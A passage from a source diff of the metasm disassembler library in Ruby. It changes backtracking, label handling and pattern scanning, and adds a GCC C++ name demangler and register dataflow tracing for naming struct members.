froms[fa] = done[fa] if done[fa] } + if froms.values.uniq.length > 1 + obj = yield([:merge, addr, froms, froms.values.first]) + next if obj == false + end + + dilist = di.block.list + end + + if dilist.each { |_di| + break if done.has_key?(_di.address) # looped back into addr_start + done[_di.address] = obj + obj = yield([:di, _di.address, _di, obj]) + break if obj == false # also return false for the previous 'if' + } + + from = dilist.last.address + + if di.block.to_normal and di.block.to_normal[0] and + di.block.to_subfuncret and di.block.to_subfuncret[0] + # current instruction block calls into a subfunction + obj = di.block.to_normal.map { |subf| + yield([:subfunc, subf, from, obj]) + }.first # propagate 1st subfunc result + next if obj == false + end + + wantclone = false + di.block.each_to_samefunc(self) { |ta| + if wantclone + nobj = yield([:clone, ta, from, obj]) + next if obj == false + todo << [ta, nobj] + else + todo << [ta, obj] + wantclone = true + end + } + end + end + end + # holds a backtrace result until a snapshot_addr is encountered class StoppedExpr attr_accessor :exprs @@ -1356,7 +1497,7 @@ puts " not backtracking stack address #{expr}" if debug_backtrace end if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - di, origin, type, len, maxdepth, detached)) + di, origin, type, len, maxdepth, detached, snapshot_addr)) # no need to update backtracked_for return vals elsif maxdepth <= 0 @@ -1396,7 +1537,7 @@ puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr if expr != oldexpr and not snapshot_addr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, nil, origin, type, len, - maxdepth-h[:loopdetect].length, detached)) + maxdepth-h[:loopdetect].length, detached, snapshot_addr)) result |= vals next end @@ -1437,7 +1578,7 @@ puts " backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]} #{oldexpr}# if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, - maxdepth-h[:loopdetect].length, detached)) + maxdepth-h[:loopdetect].length, detached, snapshot_addr)) if snapshot_addr expr = StoppedExpr.new vals next expr @@ -1498,7 +1639,7 @@ oldexpr = expr when :func expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) if snapshot_addr and snapshot_addr == h[:funcaddr] - # XXX recursiveness detection needs to be fixed + # XXX recursiveness detection needs to be fixed puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace next false end @@ -1506,7 +1647,7 @@ puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_back end puts " backtrace #{h[:di] || Expression[h[:funcaddr]]} #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached)) + h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached, snapshot_addr)) if snapshot_addr expr = StoppedExpr.new vals else @@ -1588,10 +1729,14 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr end + def backtrace_update_function_binding(addr, func=@function[addr], retaddrs=func.return_address) + @cpu.backtrace_update_function_binding(self, addr, func, retaddrs) + end + # static resolution of indirections def resolve(expr) binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| - e, b = get_section_at(resolve(ind.target)) + e = get_edata_at(resolve(ind.target)) return expr if not e binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] } @@ -1619,7 +1764,7 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 - def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached) + def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached, snapshot_addr=nil) # only entrypoints or block starts called by a :saveip are checked for being a function # want to execute [esp] from a block start if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( @@ -1649,11 +1794,14 @@ puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if end return if need_backtrace(expr) + if snapshot_addr + return if expr.expr_externals(true).find { |ee| ee.kind_of?(Indirection) } + end puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace result = backtrace_value(expr, maxdepth) # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) - result << expr if not type + #result << expr if not type # XXX returning multiple values for nothing is too confusing, TODO fix decompiler result.uniq! # create xrefs/labels @@ -1695,7 +1843,7 @@ puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expr ret = [] decode_imm = lambda { |addr, len| - edata, foo = get_section_at(addr) + edata = get_edata_at(addr) if edata Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] else @@ -1803,7 +1951,7 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra # TODO trace expression evolution to allow handling of # mov eax, 28 ; add eax, 4 ; jmp eax # => mov eax, (loc_xx-4) - if di and not unk # and di.address == origin + if di and not unk and expr != n # and di.address == origin @cpu.replace_instr_arg_immediate(di.instruction, expr, n) end if @decoded[origin] and not unk @@ -1850,6 +1998,10 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra end end + def inspect + "" % object_id + end + def to_s a = '' dump { |l| a << l << "\n" } @@ -1916,7 +2068,7 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra if not xr.empty? b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] end - if block.edata.inv_export[block.edata_ptr] + if block.edata.inv_export[block.edata_ptr] and label_alias[block.address] b["\n"] if xr.empty? label_alias[block.address].each { |name| b["#{name}:"] } end @@ -1933,8 +2085,8 @@ puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtra # TODO array-style data access def dump_data(addr, edata, off, &b) b ||= lambda { |l| puts l } - if l = edata.inv_export[off] - l_list = label_alias[addr].to_a.sort + if l = edata.inv_export[off] and label_alias[addr] + l_list = label_alias[addr].sort l = l_list.pop || l l_list.each { |ll| b["#{ll}:"] diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index aeef221eb2..416988a806 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -99,6 +99,28 @@ class InstructionBlock yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] } end + + # returns the array used in each_from_samefunc + def from_samefunc(dasm) + ary = [] + each_from_samefunc(dasm) { |a| ary << a } + ary + end + def from_otherfunc(dasm) + ary = [] + each_from_otherfunc(dasm) { |a| ary << a } + ary + end + def to_samefunc(dasm) + ary = [] + each_to_samefunc(dasm) { |a| ary << a } + ary + end + def to_otherfunc(dasm) + ary = [] + each_to_otherfunc(dasm) { |a| ary << a } + ary + end end class DecodedInstruction @@ -111,44 +133,6 @@ end class CPU # compat alias, for scripts using older version of metasm def get_backtrace_binding(di) backtrace_binding(di) end - - # return something like backtrace_binding in the forward direction - # set pc_reg to some reg name (eg :pc) to include effects on the instruction pointer - def get_fwdemu_binding(di, pc_reg=nil) - fdi = di.backtrace_binding ||= get_backtrace_binding(di) - # find self-updated regs & revert them in simultaneous affectations - # XXX handles only a <- a+i for now, this covers all useful cases (except imul eax, eax, 42 jz foobar) - fdi.keys.grep(::Symbol).each { |s| - val = Expression[fdi[s]] - next if val.lexpr != s or (val.op != :+ and val.op != :-) #or not val.rexpr.kind_of? ::Integer - fwd = { s => val } - inv = { s => val.dup } - inv[s].op = ((inv[s].op == :+) ? :- : :+) - nxt = {} - fdi.each { |k, v| - if k == s - nxt[k] = v - else - k = k.bind(fwd).reduce_rec if k.kind_of? Indirection - nxt[k] = Expression[Expression[v].bind(inv).reduce_rec] - end - } - fdi = nxt - } - if pc_reg - if di.opcode.props[:setip] - xr = get_xrefs_x(nil, di) - if xr and xr.length == 1 - fdi[pc_reg] = xr[0] - else - fdi[:incomplete_binding] = Expression[1] - end - else - fdi[pc_reg] = Expression[pc_reg, :+, di.bin_length] - end - end - fdi - end end class Disassembler @@ -156,11 +140,16 @@ class Disassembler def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end - # returns the dasm section's edata containing addr - # its #ptr points to addr - # returns the 1st element of #get_section_at - def get_edata_at(addr) - if s = get_section_at(addr) + # adds a commentary at the given address + # comments are found in the array @comment: {addr => [list of strings]} + def add_comment(addr, cmt) + @comment[addr] ||= [] + @comment[addr] |= [cmt] + end + + # returns the 1st element of #get_section_at (ie the edata at a given address) or nil + def get_edata_at(*a) + if s = get_section_at(*a) s[0] end end @@ -209,12 +198,12 @@ class Disassembler # yields every InstructionBlock # returns the list of IBlocks - def each_instructionblock + def each_instructionblock(&b) ret = [] @decoded.each { |addr, di| next if not di.kind_of? DecodedInstruction or not di.block_head? ret << di.block - yield di.block if block_given? + b.call(di.block) if b } ret end @@ -293,18 +282,19 @@ class Disassembler # returns the label associated to an addr, or nil if none exist def get_label_at(addr) - e, b = get_section_at(addr, false) + e = get_edata_at(addr, false) e.inv_export[e.ptr] if e end # sets the label for the specified address # returns nil if the address is not mapped # memcheck is passed to get_section_at to validate that the address is mapped - def set_label_at(addr, name, memcheck=true) + # keep existing label if 'overwrite' is false + def set_label_at(addr, name, memcheck=true, overwrite=true) addr = Expression[addr].reduce e, b = get_section_at(addr, memcheck) if not e - elsif not l = e.inv_export[e.ptr] + elsif not l = e.inv_export[e.ptr] or (!overwrite and l != name) l = @program.new_label(name) e.add_export l, e.ptr @label_alias_cache = nil @@ -317,7 +307,7 @@ class Disassembler # remove a label at address addr def del_label_at(addr, name=get_label_at(addr)) - ed, b = get_section_at(addr) + ed = get_edata_at(addr) if ed and ed.inv_export[ed.ptr] ed.del_export name, ed.ptr @label_alias_cache = nil @@ -325,6 +315,7 @@ class Disassembler each_xref(addr) { |xr| next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable o.each_expr { |e| + next unless e.kind_of?(Expression) e.lexpr = addr if e.lexpr == name e.rexpr = addr if e.rexpr == name } @@ -337,12 +328,14 @@ class Disassembler # returns the new label # the new label must be program-uniq (see @program.new_label) def rename_label(old, new) + return new if old == new + raise "label #{new.inspect} exists" if @prog_binding[new] each_xref(normalize(old)) { |x| next if not di = @decoded[x.origin] @cpu.replace_instr_arg_immediate(di.instruction, old, new) di.comment.to_a.each { |c| c.gsub!(old, new) } } - e, l = get_section_at(old, false) + e = get_edata_at(old, false) if e e.add_export new, e.export.delete(old), true end @@ -499,12 +492,12 @@ class Disassembler # if from..to spans multiple blocks # to.block is splitted after to # all path from from are replaced by a single link to after 'to', be careful ! - # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) + # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) # all instructions are stuffed in the first block # paths are only walked using from/to_normal # 'by' may be empty # returns the block containing the new instrs (nil if empty) - def replace_instrs(from, to, by) + def replace_instrs(from, to, by, patch_by=false) raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) @@ -520,14 +513,28 @@ class Disassembler wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } ldi = by.last ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction - wantlen = by.grep(Instruction).length if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) - by.map! { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= di.bin_length = wantlen / by.grep(Instruction).length - end - di - } + nb_i = by.grep(Instruction).length + wantlen = nb_i if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) + if patch_by + by.map! { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= di.bin_length = wantlen / by.grep(Instruction).length + nb_i -= 1 + end + di + } + else + by = by.map { |di| + if di.kind_of? Instruction + di = DecodedInstruction.new(di) + wantlen -= (di.bin_length = wantlen / nb_i) + nb_i -= 1 + end + di + } + end + #puts " ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip] by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] @@ -649,8 +656,8 @@ class Disassembler if b1 and not b1.kind_of? InstructionBlock return if not b1 = block_at(b1) end - if b2 and not b2.kind_of? InstructionBlock - return if not b2 = block_at(b2) + if b2 and not b2.kind_of? InstructionBlock + return if not b2 = block_at(b2) end if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot @@ -720,17 +727,23 @@ class Disassembler end # returns a demangled C++ name + def demangle_cppname(name) + case name[0] + when ?? # MSVC + name = name[1..-1] + demangle_msvc(name[1..-1]) if name[0] == ?? + when ?_ + name = name.sub(/_GLOBAL__[ID]_/, '') + demangle_gcc(name[2..-1][/\S*/]) if name[0, 2] == '_Z' + end + end + # from wgcc-2.2.2/undecorate.cpp # TODO - def demangle_cppname(name) - ret = name - if name[0] == ?? - name = name[1..-1] - if name[0] == ?? - name = name[1..-1] - op = name[0, 1] - op = name[0, 2] if op == '_' - if op = { + def demangle_msvc(name) + op = name[0, 1] + op = name[0, 2] if op == '_' + if op = { '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", @@ -743,11 +756,157 @@ class Disassembler '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] - ret = op[0] == ?` ? op[1..-2] : "op_#{op}" + op[0] == ?` ? op[1..-2] : "op_#{op}" + end + end + + # from http://www.codesourcery.com/public/cxx-abi/abi.html + def demangle_gcc(name) + subs = [] + ret = '' + decode_tok = lambda { + name ||= '' + case name[0] + when nil + ret = nil + when ?N + name = name[1..-1] + decode_tok[] + until name[0] == ?E + break if not ret + ret << '::' + decode_tok[] + end + name = name[1..-1] + when ?I + name = name[1..-1] + ret = ret[0..-3] if ret[-2, 2] == '::' + ret << '<' + decode_tok[] + until name[0] == ?E + break if not ret + ret << ', ' + decode_tok[] + end + ret << ' ' if ret and ret[-1] == ?> + ret << '>' if ret + name = name[1..-1] + when ?T + case name[1] + when ?T; ret << 'vtti(' + when ?V; ret << 'vtable(' + when ?I; ret << 'typeinfo(' + when ?S; ret << 'typename(' + else ret = nil + end + name = name[2..-1].to_s + decode_tok[] if ret + ret << ')' if ret + name = name[1..-1] if name[0] == ?E + when ?C + name = name[2..-1] + base = ret[/([^:]*)(<.*|::)?$/, 1] + ret << base + when ?D + name = name[2..-1] + base = ret[/([^:]*)(<.*|::)?$/, 1] + ret << '~' << base + when ?0..?9 + nr = name[/^[0-9]+/] + name = name[nr.length..-1].to_s + ret << name[0, nr.to_i] + name = name[nr.to_i..-1] + subs << ret[/[\w:]*$/] + when ?S + name = name[1..-1] + case name[0] + when ?_, ?0..?9, ?A..?Z + case name[0] + when ?_; idx = 0 ; name = name[1..-1] + when ?0..?9; idx = name[0, 1].unpack('C')[0] - 0x30 + 1 ; name = name[2..-1] + when ?A..?Z; idx = name[0, 1].unpack('C')[0] - 0x41 + 11 ; name = name[2..-1] + end + if not subs[idx] + ret = nil + else + ret << subs[idx] + end + when ?t + ret << 'std::' + name = name[1..-1] + decode_tok[] + else + std = { ?a => 'std::allocator', + ?b => 'std::basic_string', + ?s => 'std::string', # 'std::basic_string < char, std::char_traits, std::allocator >', + ?i => 'std::istream', # 'std::basic_istream >', + ?o => 'std::ostream', # 'std::basic_ostream >', + ?d => 'std::iostream', # 'std::basic_iostream >' + }[name[0]] + if not std + ret = nil + else + ret << std + end + name = name[1..-1] + end + when ?P, ?R, ?r, ?V, ?K + attr = { ?P => '*', ?R => '&', ?r => ' restrict', ?V => ' volatile', ?K => ' const' }[name[0]] + name = name[1..-1] + rl = ret.length + decode_tok[] + if ret + ret << attr + subs << ret[rl..-1] + end + else + if ret =~ /[(<]/ and ty = { + ?v => 'void', ?w => 'wchar_t', ?b => 'bool', ?c => 'char', ?a => 'signed char', + ?h => 'unsigned char', ?s => 'short', ?t => 'unsigned short', ?i => 'int', + ?j => 'unsigned int', ?l => 'long', ?m => 'unsigned long', ?x => '__int64', + ?y => 'unsigned __int64', ?n => '__int128', ?o => 'unsigned __int128', ?f => 'float', + ?d => 'double', ?e => 'long double', ?g => '__float128', ?z => '...' + }[name[0]] + name = name[1..-1] + ret << ty + else + fu = name[0, 2] + name = name[2..-1] + if op = { + 'nw' => ' new', 'na' => ' new[]', 'dl' => ' delete', 'da' => ' delete[]', + 'ps' => '+', 'ng' => '-', 'ad' => '&', 'de' => '*', 'co' => '~', 'pl' => '+', + 'mi' => '-', 'ml' => '*', 'dv' => '/', 'rm' => '%', 'an' => '&', 'or' => '|', + 'eo' => '^', 'aS' => '=', 'pL' => '+=', 'mI' => '-=', 'mL' => '*=', 'dV' => '/=', + 'rM' => '%=', 'aN' => '&=', 'oR' => '|=', 'eO' => '^=', 'ls' => '<<', 'rs' => '>>', + 'lS' => '<<=', 'rS' => '>>=', 'eq' => '==', 'ne' => '!=', 'lt' => '<', 'gt' => '>', + 'le' => '<=', 'ge' => '>=', 'nt' => '!', 'aa' => '&&', 'oo' => '||', 'pp' => '++', + 'mm' => '--', 'cm' => ',', 'pm' => '->*', 'pt' => '->', 'cl' => '()', 'ix' => '[]', + 'qu' => '?', 'st' => ' sizeof', 'sz' => ' sizeof', 'at' => ' alignof', 'az' => ' alignof' + }[fu] + ret << "operator#{op}" + elsif fu == 'cv' + ret << "cast<" + decode_tok[] + ret << ">" if ret + else + ret = nil + end end end + name ||= '' + } + + decode_tok[] + subs.pop + if ret and name != '' + ret << '(' + decode_tok[] + while ret and name != '' + ret << ', ' + decode_tok[] + end + ret << ')' if ret end - # TODO ret end @@ -755,7 +914,8 @@ class Disassembler # return/yields all the addresses matching # if yield returns nil/false, do not include the addr in the final result # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) - def pattern_scan(pat, chunksz=nil, margin=nil) + # with addr_start/length, symbol-based section are skipped + def pattern_scan(pat, addr_start=nil, length=nil, chunksz=nil, margin=nil, &b) chunksz ||= 4*1024*1024 # scan 4MB at a time margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries @@ -763,9 +923,27 @@ class Disassembler found = [] @sections.each { |sec_addr, e| + if addr_start + length ||= 0x1000_0000 + begin + if sec_addr < addr_start + next if sec_addr+e.length <= addr_start + e = e[addr_start-sec_addr, e.length] + sec_addr = addr_start + end + if sec_addr+e.length > addr_start+length + next if sec_addr > addr_start+length + e = e[0, sec_addr+e.length-(addr_start+length)] + end + rescue + puts $!, $!.message, $!.backtrace if $DEBUG + # catch arithmetic error with symbol-based section + next + end + end e.pattern_scan(pat, chunksz, margin) { |eo| match_addr = sec_addr + eo - found << match_addr if not block_given? or yield(match_addr) + found << match_addr if not b or b.call(match_addr) false } } @@ -773,14 +951,14 @@ class Disassembler end # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ - def strings_scan(minlen=6) + def strings_scan(minlen=6, &b) ret = [] nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o| + pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| if o - nexto > 0 next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm] - ret << [o, str] if not block_given? or yield(o, str) + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + ret << [o, str] if not b or b.call(o, str) nexto = o + str.length end } @@ -805,18 +983,23 @@ class Disassembler def load_map(str, off=0) str = File.read(str) rescue nil if not str.index("\n") sks = @sections.keys.sort + seen = {} str.each_line { |l| case l.strip when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - set_label_at($1.to_i(16)+off, $3) + addr = $1.to_i(16)+off + set_label_at(addr, $3, false, !seen[addr]) + seen[addr] = true when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) # could check the 1st part of the file, with section sizes, but it is not very convenient # the regexp is so that we skip the 1st part with section descriptions # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index - set_label_at(sks[$1.to_i(16)] + $2.to_i(16) + off, $3) + addr = sks[$1.to_i(16)] + $2.to_i(16) + off + set_label_at(addr, $3, false, !seen[addr]) + seen[addr] = true end - } + } end # saves the dasm state in a file @@ -830,13 +1013,14 @@ class Disassembler def save_io(fd) fd.puts 'Metasm.dasm' - if @program.filename + if @program.filename and not @program.kind_of?(Shellcode) t = @program.filename.to_s fd.puts "binarypath #{t.length}", t else t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" fd.puts "cpu #{t.length}", t # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE + # do not output binarypath, we'll be loaded as a Shellcode, 'section' will suffice end @sections.each { |a, e| @@ -942,6 +1126,7 @@ class Disassembler reinitialize Shellcode.new(cpu) @program.disassembler = self @program.init_disassembler + @sections.delete(0) # rm empty section at 0, other real 'section' follow when 'section' info = data[0, data.index("\n") || data.length] data = data[info.length, data.length] @@ -1030,7 +1215,7 @@ class Disassembler len = (len != '' ? len.to_i : nil) o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? add_xref(a, Xref.new(t, o, len)) - rescue + rescue puts "load: bad xref #{l.inspect} #$!" if $VERBOSE end } @@ -1104,12 +1289,354 @@ class Disassembler delta end + # dataflow method + # walks a function, starting at addr + # follows the usage of registers, computing the evolution from the value they had at start_addr + # whenever an instruction references the register (or anything derived from it), + # yield [di, used_register, reg_value, trace_state] where reg_value is the Expression holding the value of + # the register wrt the initial value at start_addr, and trace_state the value of all registers (reg_value + # not yet applied) + # reg_value may be nil if used_register is not modified by the function (eg call [eax]) + # the yield return value is propagated, unless it is nil/false + # init_state is a hash { :reg => initial value } + def trace_function_register(start_addr, init_state) + function_walk(start_addr, init_state) { |args| + trace_state = args.last + case args.first + when :di + di = args[2] + update = {} + get_fwdemu_binding(di).each { |r, v| + if v.kind_of?(Expression) and v.externals.find { |e| trace_state[e] } + # XXX may mix old (from trace) and current (from v) registers + newv = v.bind(trace_state) + update[r] = yield(di, r, newv, trace_state) + elsif r.kind_of?(ExpressionType) and rr = r.externals.find { |e| trace_state[e] } + # reg dereferenced in a write (eg mov [esp], 42) + next if update.has_key?(rr) # already yielded + if yield(di, rr, trace_state[rr], trace_state) == false + update[rr] = false + end + elsif trace_state[r] + # started on mov reg, foo + next if di.address == start_addr + update[r] = false + end + } + + # directly walk the instruction argument list for registers not appearing in the binding + @cpu.instr_args_memoryptr(di).each { |ind| + b = @cpu.instr_args_memoryptr_getbase(ind) + if b and b = b.symbolic and not update.has_key?(b) + yield(di, b, nil, trace_state) + end + } + @cpu.instr_args_regs(di).each { |r| + r = r.symbolic + if not update.has_key?(r) + yield(di, r, nil, trace_state) + end + } + + update.each { |r, v| + trace_state = trace_state.dup + if v + # cannot follow non-registers, or we would have to emulate every single + # instruction (try following [esp+4] across a __stdcall..) + trace_state[r] = v if r.kind_of?(::Symbol) + else + trace_state.delete r + end + } + when :subfunc + faddr = args[1] + f = @function[faddr] + f = @function[f.backtrace_binding[:thunk]] if f and f.backtrace_binding[:thunk] + if f + binding = f.backtrace_binding + if binding.empty? + backtrace_update_function_binding(faddr) + binding = f.backtrace_binding + end + # XXX fwdemu_binding ? + binding.each { |r, v| + if v.externals.find { |e| trace_state[e] } + if r.kind_of?(::Symbol) + trace_state = trace_state.dup + trace_state[r] = Expression[v.bind(trace_state)].reduce + end + elsif trace_state[r] + trace_state = trace_state.dup + trace_state.delete r + end + } + end + when :merge + # when merging paths, keep the smallest common state subset + # XXX may have unexplored froms + conflicts = args[2] + trace_state = trace_state.dup + conflicts.each { |addr, st| + trace_state.delete_if { |k, v| st[k] != v } + } + end + trace_state = false if trace_state.empty? + trace_state + } + end + + # define a register as a pointer to a structure + # rename all [reg+off] as [reg+struct.member] in current function + # also trace assignments of pointer members + def trace_update_reg_structptr(addr, reg, structname, structoff=0) + sname = soff = ctx = nil + expr_to_sname = lambda { |expr| + if not expr.kind_of?(Expression) or expr.op != :+ + sname = nil + next + end + + sname = expr.lexpr || expr.rexpr + soff = (expr.lexpr ? expr.rexpr : 0) + + if soff.kind_of?(Expression) + # ignore index in ptr array + if soff.op == :* and soff.lexpr == @cpu.size/8 + soff = 0 + elsif soff.rexpr.kind_of?(Expression) and soff.rexpr.op == :* and soff.rexpr.lexpr == @cpu.size/8 + soff = soff.lexpr + elsif soff.lexpr.kind_of?(Expression) and soff.lexpr.op == :* and soff.lexpr.lexpr == @cpu.size/8 + soff = soff.rexpr + end + elsif soff.kind_of?(::Symbol) + # array with 1 byte elements / pre-scaled idx? + if not ctx[soff] + soff = 0 + end + end + } + + lastdi = nil + trace_function_register(addr, reg => Expression[structname, :+, structoff]) { |di, r, val, trace| + + next if r.to_s =~ /flag/ # XXX maybe too ia32-specific? + + ctx = trace + @cpu.instr_args_memoryptr(di).each { |ind| + # find the structure dereference in di + b = @cpu.instr_args_memoryptr_getbase(ind) + b = b.symbolic if b + next unless trace[b] + imm = @cpu.instr_args_memoryptr_getoffset(ind) || 0 + + # check expr has the form 'traced_struct_reg + off' + expr_to_sname[trace[b] + imm] # Expr#+ calls Expr#reduce + next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) + next if not st = c_parser.toplevel.struct[sname] or not st.kind_of?(C::Union) + + # ignore lea esi, [esi+0] + next if soff == 0 and not di.backtrace_binding.find { |k, v| v-k != 0 } + + # TODO if trace[b] offset != 0, we had a lea reg, [struct+substruct_off], tweak str accordingly + + # resolve struct + off into struct.membername + str = st.name.dup + mb = st.expand_member_offset(c_parser, soff, str) + # patch di + imm = imm.rexpr if imm.kind_of?(Expression) and not imm.lexpr and imm.rexpr.kind_of?(ExpressionString) + imm = imm.expr if imm.kind_of?(ExpressionString) + @cpu.instr_args_memoryptr_setoffset(ind, ExpressionString.new(imm, str, :structoff)) + + # check if the type is an enum/bitfield, patch instruction immediates + trace_update_reg_structptr_arg_enum(di, ind, mb, str) if mb + } if lastdi != di.address + lastdi = di.address + + next Expression[structname, :+, structoff] if di.address == addr and r == reg + + # check if we need to trace 'r' further + val = val.reduce_rec if val.kind_of?(Expression) + val = Expression[val] if val.kind_of?(::String) + case val + when Expression + # only trace trivial structptr+off expressions + expr_to_sname[val] + if sname.kind_of?(::String) and soff.kind_of?(::Integer) + Expression[sname, :+, soff] + end + + when Indirection + # di is mov reg, [ptr+struct.offset] + # check if the target member is a pointer to a struct, if so, trace it + expr_to_sname[val.pointer.reduce] + + next unless sname.kind_of?(::String) and soff.kind_of?(::Integer) + + if st = c_parser.toplevel.struct[sname] and st.kind_of?(C::Union) + pt = st.expand_member_offset(c_parser, soff, '') + pt = pt.untypedef if pt + if pt.kind_of?(C::Pointer) + tt = pt.type.untypedef + stars = '' + while tt.kind_of?(C::Pointer) + stars << '*' + tt = tt.type.untypedef + end + if tt.kind_of?(C::Union) and tt.name + Expression[tt.name + stars] + end + end + + elsif soff == 0 and sname[-1] == ?* + # XXX pointer to pointer to struct + # full C type support would be better, but harder to fit in an Expr + Expression[sname[0...-1]] + end + # in other cases, stop trace + end + } + end + + # found a special member of a struct, check if we can apply + # bitfield/enum name to other constants in the di + def trace_update_reg_structptr_arg_enum(di, ind, mb, str) + if ename = mb.has_attribute_var('enum') and enum = c_parser.toplevel.struct[ename] and enum.kind_of?(C::Enum) + # handle enums: struct moo { int __attribute__((enum(bla))) fld; }; + doit = lambda { |_di| + if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) + # handle enum values on tagged structs + if enum.members and name = enum.members.index(num_i) + num.lexpr = nil + num.op = :+ + num.rexpr = ExpressionString.new(Expression[num_i], name, :enum) + _di.add_comment "enum::#{ename}" if _di.address != di.address + end + end + } + + doit[di] + + # mov eax, [ptr+struct.enumfield] => trace eax + if reg = @cpu.instr_args_regs(di).find { |r| v = di.backtrace_binding[r.symbolic] and (v - ind.symbolic) == 0 } + reg = reg.symbolic + trace_function_register(di.address, reg => Expression[0]) { |_di, r, val, trace| + next if r != reg and val != Expression[reg] + doit[_di] + val + } + end + + elsif mb.untypedef.kind_of?(C::Struct) + # handle bitfields + + byte_off = 0 + if str =~ /\+(\d+)$/ + # test byte [bitfield+1], 0x1 => test dword [bitfield], 0x100 + # XXX little-endian only + byte_off = $1.to_i + str[/\+\d+$/] = '' + end + cmt = str.split('.')[-2, 2].join('.') if str.count('.') > 1 + + doit = lambda { |_di, add| + if num = _di.instruction.args.grep(Expression).first and num_i = num.reduce and num_i.kind_of?(::Integer) + # TODO handle ~num_i + num_left = num_i << add + s_or = 